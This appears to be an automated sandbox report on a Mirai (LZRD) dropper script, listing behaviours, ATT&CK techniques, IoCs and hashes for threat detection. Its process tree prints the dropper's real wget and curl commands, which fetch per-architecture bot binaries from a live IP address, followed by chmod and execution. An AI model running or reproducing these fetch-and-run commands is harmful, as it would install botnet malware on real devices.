mirai | 97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01

Analysis

max time kernel
139s
max time network
149s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
07/03/2025, 05:18

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh
Size

2KB
MD5

92b0a18b935a6afdea317d573967bd1e
SHA1

09eeb86ddb300ff70f09613b2f50813488851c74
SHA256

97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01
SHA512

0abac2769286e7dcd3893ac64e604556418e134ddc6b5b38b9a7353fe3cb3048da3fa189416ec05c83147ca1f4c0a8dca2513f2fe7c93927097267884933dc14

Score

10^/10

mirai lzrd antivm botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
700	chmod
739	chmod
829	chmod
773	chmod
852	chmod
760	chmod
794	chmod
808	chmod
682	chmod
693	chmod
715	chmod
727	chmod
781	chmod
840	chmod
846	chmod

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/trf	683	97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh
/tmp/trf	694	97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh
/tmp/trf	702	97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh
/tmp/trf	716	97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh
/tmp/trf	729	97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh
/tmp/trf	744	97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh
/tmp/trf	761	97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh
/tmp/trf	774	97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh
/tmp/trf	782	97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh
/tmp/trf	795	97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh
/tmp/trf	810	97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh
/tmp/trf	831	97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh
/tmp/trf	841	97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh
/tmp/trf	847	97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh
/tmp/trf	853	97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh

Modifies Watchdog functionality 1 TTPs 4 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/misc/watchdog	trf
File opened for modification	/dev/watchdog	trf
File opened for modification	/dev/misc/watchdog	trf
File opened for modification	/dev/watchdog	trf

Enumerates running processes
Discovers information about currently running processes on the system

Writes file to system bin folder 4 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	trf
File opened for modification	/bin/watchdog	trf
File opened for modification	/sbin/watchdog	trf
File opened for modification	/bin/watchdog	trf

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/fstream-1.dat	upx
behavioral2/files/fstream-4.dat	upx

Checks CPU configuration 1 TTPs 15 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/821/cmdline	trf
File opened for reading	/proc/608/cmdline	trf
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/860/cmdline	trf
File opened for reading	/proc/862/cmdline	trf
File opened for reading	/proc/876/cmdline	trf
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/658/cmdline	trf
File opened for reading	/proc/844/cmdline	trf
File opened for reading	/proc/861/cmdline	trf
File opened for reading	/proc/866/cmdline	trf
File opened for reading	/proc/867/cmdline	trf
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/650/cmdline	trf
File opened for reading	/proc/419/cmdline	trf
File opened for reading	/proc/464/cmdline	trf
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/850/cmdline	trf
File opened for reading	/proc/858/cmdline	trf
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/796/cmdline	trf
File opened for reading	/proc/777/cmdline	trf
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/463/cmdline	trf
File opened for reading	/proc/645/cmdline	trf
File opened for reading	/proc/822/cmdline	trf
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/650/cmdline	trf
File opened for reading	/proc/658/cmdline	trf
File opened for reading	/proc/406/cmdline	trf
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/858/cmdline	trf
File opened for reading	/proc/864/cmdline	trf
File opened for reading	/proc/872/cmdline	trf
File opened for reading	/proc/874/cmdline	trf
File opened for reading	/proc/823/cmdline	trf
File opened for reading	/proc/775/cmdline	trf
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/870/cmdline	trf
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/exe	trf
File opened for reading	/proc/464/cmdline	trf
File opened for reading	/proc/652/cmdline	trf
File opened for reading	/proc/801/cmdline	trf
File opened for reading	/proc/653/cmdline	trf
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/843/cmdline	trf
File opened for reading	/proc/864/cmdline	trf
File opened for reading	/proc/866/cmdline	trf
File opened for reading	/proc/870/cmdline	trf
File opened for reading	/proc/872/cmdline	trf
File opened for reading	/proc/877/cmdline	trf
File opened for reading	/proc/876/cmdline	trf
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/777/cmdline	trf
File opened for reading	/proc/797/cmdline	trf
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/806/cmdline	trf

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
685	wget
690	curl
692	cat

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/trw.arm5	wget
File opened for modification	/tmp/trw.arm6	wget
File opened for modification	/tmp/trw.arm6	curl
File opened for modification	/tmp/trw.arm7	wget
File opened for modification	/tmp/trw.x86	curl
File opened for modification	/tmp/trw.arc	wget
File opened for modification	/tmp/trw.x86_64	curl
File opened for modification	/tmp/trw.mpsl	wget
File opened for modification	/tmp/trw.ppc	wget
File opened for modification	/tmp/trw.ppc	curl
File opened for modification	/tmp/trw.spc	wget
File opened for modification	/tmp/trw.m68k	wget
File opened for modification	/tmp/trw.x86	wget
File opened for modification	/tmp/trw.i686	curl
File opened for modification	/tmp/trw.arm	curl
File opened for modification	/tmp/trw.arm5	curl
File opened for modification	/tmp/trw.arm7	curl
File opened for modification	/tmp/trw.spc	curl
File opened for modification	/tmp/trw.sh4	wget
File opened for modification	/tmp/trf	97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh
File opened for modification	/tmp/trw.mips	wget
File opened for modification	/tmp/trw.mips	curl
File opened for modification	/tmp/trw.m68k	curl
File opened for modification	/tmp/trw.sh4	curl
File opened for modification	/tmp/trw.arc	curl
File opened for modification	/tmp/trw.i468	curl
File opened for modification	/tmp/trw.mpsl	curl
File opened for modification	/tmp/trw.arm	wget

/tmp/97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh
/tmp/97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:653
- /usr/bin/wget
  wget http://23.146.184.61/hiddenbin/trw.x86
  2⤵
  - Writes file to tmp directory
  PID:662
- /usr/bin/curl
  curl -O http://23.146.184.61/hiddenbin/trw.x86
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:671
- /bin/cat
  cat trw.x86
  2⤵
  PID:680
- /bin/chmod
  chmod +x 97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh systemd-private-cd782eb87cfa440791e0a18dd329d89e-systemd-timedated.service-eKjZXX trf trw.x86
  2⤵
  - File and Directory Permissions Modification
  PID:682
- /tmp/trf
  ./trf
  2⤵
  PID:683
- /usr/bin/wget
  wget http://23.146.184.61/hiddenbin/trw.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:685
- /usr/bin/curl
  curl -O http://23.146.184.61/hiddenbin/trw.mips
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:690
- /bin/cat
  cat trw.mips
  2⤵
  - System Network Configuration Discovery
  PID:692
- /bin/chmod
  chmod +x 97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh systemd-private-cd782eb87cfa440791e0a18dd329d89e-systemd-timedated.service-eKjZXX trf trw.mips trw.x86
  2⤵
  - File and Directory Permissions Modification
  PID:693
- /tmp/trf
  ./trf
  2⤵
  PID:694
- /usr/bin/wget
  wget http://23.146.184.61/hiddenbin/trw.arc
  2⤵
  - Writes file to tmp directory
  PID:696
- /usr/bin/curl
  curl -O http://23.146.184.61/hiddenbin/trw.arc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:697
- /bin/cat
  cat trw.arc
  2⤵
  PID:698
- /bin/chmod
  chmod +x 97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh systemd-private-cd782eb87cfa440791e0a18dd329d89e-systemd-timedated.service-eKjZXX trf trw.arc trw.mips trw.x86
  2⤵
  - File and Directory Permissions Modification
  PID:700
- /tmp/trf
  ./trf
  2⤵
  PID:702
- /usr/bin/wget
  wget http://23.146.184.61/hiddenbin/trw.i468
  2⤵
  PID:704
- /usr/bin/curl
  curl -O http://23.146.184.61/hiddenbin/trw.i468
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:708
- /bin/cat
  cat trw.i468
  2⤵
  PID:714
- /bin/chmod
  chmod +x 97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh systemd-private-cd782eb87cfa440791e0a18dd329d89e-systemd-timedated.service-eKjZXX trf trw.arc trw.i468 trw.mips trw.x86
  2⤵
  - File and Directory Permissions Modification
  PID:715
- /tmp/trf
  ./trf
  2⤵
  PID:716
- /usr/bin/wget
  wget http://23.146.184.61/hiddenbin/trw.i686
  2⤵
  PID:717
- /usr/bin/curl
  curl -O http://23.146.184.61/hiddenbin/trw.i686
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:722
- /bin/cat
  cat trw.i686
  2⤵
  PID:726
- /bin/chmod
  chmod +x 97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh systemd-private-cd782eb87cfa440791e0a18dd329d89e-systemd-timedated.service-eKjZXX trf trw.arc trw.i468 trw.i686 trw.mips trw.x86
  2⤵
  - File and Directory Permissions Modification
  PID:727
- /tmp/trf
  ./trf
  2⤵
  PID:729
- /usr/bin/wget
  wget http://23.146.184.61/hiddenbin/trw.x86_64
  2⤵
  PID:730
- /usr/bin/curl
  curl -O http://23.146.184.61/hiddenbin/trw.x86_64
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:733
- /bin/cat
  cat trw.x86_64
  2⤵
  PID:738
- /bin/chmod
  chmod +x 97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh systemd-private-cd782eb87cfa440791e0a18dd329d89e-systemd-timedated.service-eKjZXX trf trw.arc trw.i468 trw.i686 trw.mips trw.x86 trw.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:739
- /tmp/trf
  ./trf
  2⤵
  PID:744
- /usr/bin/wget
  wget http://23.146.184.61/hiddenbin/trw.mpsl
  2⤵
  - Writes file to tmp directory
  PID:745
- /usr/bin/curl
  curl -O http://23.146.184.61/hiddenbin/trw.mpsl
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:749
- /bin/cat
  cat trw.mpsl
  2⤵
  PID:757
- /bin/chmod
  chmod +x 97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh systemd-private-cd782eb87cfa440791e0a18dd329d89e-systemd-timedated.service-eKjZXX trf trw.arc trw.i468 trw.i686 trw.mips trw.mpsl trw.x86 trw.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:760
- /tmp/trf
  ./trf
  2⤵
  PID:761
- /usr/bin/wget
  wget http://23.146.184.61/hiddenbin/trw.arm
  2⤵
  - Writes file to tmp directory
  PID:763
- /usr/bin/curl
  curl -O http://23.146.184.61/hiddenbin/trw.arm
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:769
- /bin/cat
  cat trw.arm
  2⤵
  PID:772
- /bin/chmod
  chmod +x 97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh systemd-private-cd782eb87cfa440791e0a18dd329d89e-systemd-timedated.service-eKjZXX trf trw.arc trw.arm trw.i468 trw.i686 trw.mips trw.mpsl trw.x86 trw.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:773
- /tmp/trf
  ./trf
  2⤵
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:774
- /usr/bin/wget
  wget http://23.146.184.61/hiddenbin/trw.arm5
  2⤵
  - Writes file to tmp directory
  PID:778
- /usr/bin/curl
  curl -O http://23.146.184.61/hiddenbin/trw.arm5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:779
- /bin/cat
  cat trw.arm5
  2⤵
  PID:780
- /bin/chmod
  chmod +x 97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh systemd-private-cd782eb87cfa440791e0a18dd329d89e-systemd-timedated.service-eKjZXX trf trw.arc trw.arm trw.arm5 trw.i468 trw.i686 trw.mips trw.mpsl trw.x86 trw.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:781
- /tmp/trf
  ./trf
  2⤵
  PID:782
- /usr/bin/wget
  wget http://23.146.184.61/hiddenbin/trw.arm6
  2⤵
  - Writes file to tmp directory
  PID:783
- /usr/bin/curl
  curl -O http://23.146.184.61/hiddenbin/trw.arm6
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:786
- /bin/cat
  cat trw.arm6
  2⤵
  PID:792
- /bin/chmod
  chmod +x 97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh systemd-private-cd782eb87cfa440791e0a18dd329d89e-systemd-timedated.service-eKjZXX trf trw.arc trw.arm trw.arm5 trw.arm6 trw.i468 trw.i686 trw.mips trw.mpsl trw.x86 trw.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:794
- /tmp/trf
  ./trf
  2⤵
  PID:795
- /usr/bin/wget
  wget http://23.146.184.61/hiddenbin/trw.arm7
  2⤵
  - Writes file to tmp directory
  PID:796
- /usr/bin/curl
  curl -O http://23.146.184.61/hiddenbin/trw.arm7
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:801
- /bin/cat
  cat trw.arm7
  2⤵
  PID:807
- /bin/chmod
  chmod +x 97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh systemd-private-cd782eb87cfa440791e0a18dd329d89e-systemd-timedated.service-eKjZXX trf trw.arc trw.arm trw.arm5 trw.arm6 trw.arm7 trw.i468 trw.i686 trw.mips trw.mpsl trw.x86 trw.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:808
- /tmp/trf
  ./trf
  2⤵
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:810
- /usr/bin/wget
  wget http://23.146.184.61/hiddenbin/trw.ppc
  2⤵
  - Writes file to tmp directory
  PID:814
- /usr/bin/curl
  curl -O http://23.146.184.61/hiddenbin/trw.ppc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:821
- /bin/cat
  cat trw.ppc
  2⤵
  PID:827
- /bin/chmod
  chmod +x 97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh trf trw.arc trw.arm trw.arm5 trw.arm6 trw.arm7 trw.i468 trw.i686 trw.mips trw.mpsl trw.ppc trw.x86 trw.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:829
- /tmp/trf
  ./trf
  2⤵
  PID:831
- /usr/bin/wget
  wget http://23.146.184.61/hiddenbin/trw.spc
  2⤵
  - Writes file to tmp directory
  PID:834
- /usr/bin/curl
  curl -O http://23.146.184.61/hiddenbin/trw.spc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:838
- /bin/cat
  cat trw.spc
  2⤵
  PID:839
- /bin/chmod
  chmod +x 97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh trf trw.arc trw.arm trw.arm5 trw.arm6 trw.arm7 trw.i468 trw.i686 trw.mips trw.mpsl trw.ppc trw.spc trw.x86 trw.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:840
- /tmp/trf
  ./trf
  2⤵
  PID:841
- /usr/bin/wget
  wget http://23.146.184.61/hiddenbin/trw.m68k
  2⤵
  - Writes file to tmp directory
  PID:843
- /usr/bin/curl
  curl -O http://23.146.184.61/hiddenbin/trw.m68k
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:844
- /bin/cat
  cat trw.m68k
  2⤵
  PID:845
- /bin/chmod
  chmod +x 97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh trf trw.arc trw.arm trw.arm5 trw.arm6 trw.arm7 trw.i468 trw.i686 trw.m68k trw.mips trw.mpsl trw.ppc trw.spc trw.x86 trw.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:846
- /tmp/trf
  ./trf
  2⤵
  PID:847
- /usr/bin/wget
  wget http://23.146.184.61/hiddenbin/trw.sh4
  2⤵
  - Writes file to tmp directory
  PID:849
- /usr/bin/curl
  curl -O http://23.146.184.61/hiddenbin/trw.sh4
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:850
- /bin/cat
  cat trw.sh4
  2⤵
  PID:851
- /bin/chmod
  chmod +x 97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh trf trw.arc trw.arm trw.arm5 trw.arm6 trw.arm7 trw.i468 trw.i686 trw.m68k trw.mips trw.mpsl trw.ppc trw.sh4 trw.spc trw.x86 trw.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:852
- /tmp/trf
  ./trf
  2⤵
  PID:853

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/trf

Filesize
23KB

MD5
27fcca0043a2d0fa3b8c1474ba6a347b

SHA1
3256cb03556b457ae35baf22c021c75f4a1465af

SHA256
c518491ac679b646db6f34599a0be7309b7ec2cb6cd39dd97c46bcfc69f78098

SHA512
22f394294adaf48bc9e9c592c8c1e94becaa72cb66c03efb442d1c8b379772f403ee695f0f12ce546a9dd62ae20240c045024396fcab9cf6876ab27301ef157c

Download Submit
/tmp/trf

Filesize
105KB

MD5
6e875e36906ef9cbd1a9a4cc6abb58a1

SHA1
c1a38724e70c8d76597b71681ab4255fd3690b91

SHA256
367b363d373acd4198ee34d58007362362ec51c8306392434a5d2b0fc1d4fc41

SHA512
b416a9528d4e62785fe5a9ecba276f9d4ea468db68330a606ace0d7aa0ea1628861ab8c8a17c46c6bd79b676c3948e5604ca3906bb9c9754d855a1fcc0baab8f

Download Submit
/tmp/trf

Filesize
216B

MD5
eff80b39647abde14518e7b9c1f2d05b

SHA1
e14e90d5b962986c778e8cd5a6a33f525d830e05

SHA256
866dd35f127c93609824229cd8a62ed643c8024308763319f8a9168b5f75aa15

SHA512
9f38847736ade64e6d2d5261cef5155861a39a35cba62d76cb90d1c82296246e13d81af74daa0440f575146ebae0efcea0ee9804e6218e37a49276cb1d906db3

Download Submit
/tmp/trf

Filesize
216B

MD5
f16b068167c523b48268d50341f14703

SHA1
a794a7c971b7d272459e2ea243f6c8038a0f48ab

SHA256
cba8069f0157c5e9210c815723a74abd794aab46d66069bd4eaa259dc79e7f23

SHA512
9ba5cc35283506694314c07241caa8119aeb58717dcd578481ce4add6bf6200f4a2ed494fa58e4d2a8ccde204e141dca59231bce8381e2313e8b130d79cf29c7

Download Submit
/tmp/trf

Filesize
57KB

MD5
c2ab4cecc92e3d88b002ddae04006cfd

SHA1
a4c5e9225330897210034edadeea8a5414cf4e8d

SHA256
3bab0fcddf33dfce02e04246ae91aa5f6afb8cdc3dccfc75855e42e0144727c5

SHA512
516920477bf3c245d27ed99bcc0e48aa2fcf002af5f23ea6d178a4d9216462b464bd4f7f49fe4b6b8bea75a26b35160b420f59fa1f8271ebc17d85699160f568

Download Submit
/tmp/trw.x86

Filesize
20KB

MD5
f6f62476e54629a3ef494d918cc2a921

SHA1
4c041456f2695eb66b953e6caa640fe24f8467ff

SHA256
9aeec2bcc4f00c0458d786066d910827abdfe95f441a2ade518df222efb439f5

SHA512
fbdf3bc209c16870abc1fd2ff349a726d12ed0a6c4b32b1ea36b4f47c02da236e3cf70e63380156c508adbae98e621e1ed377d604280a9180ebe784c6bb66302

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads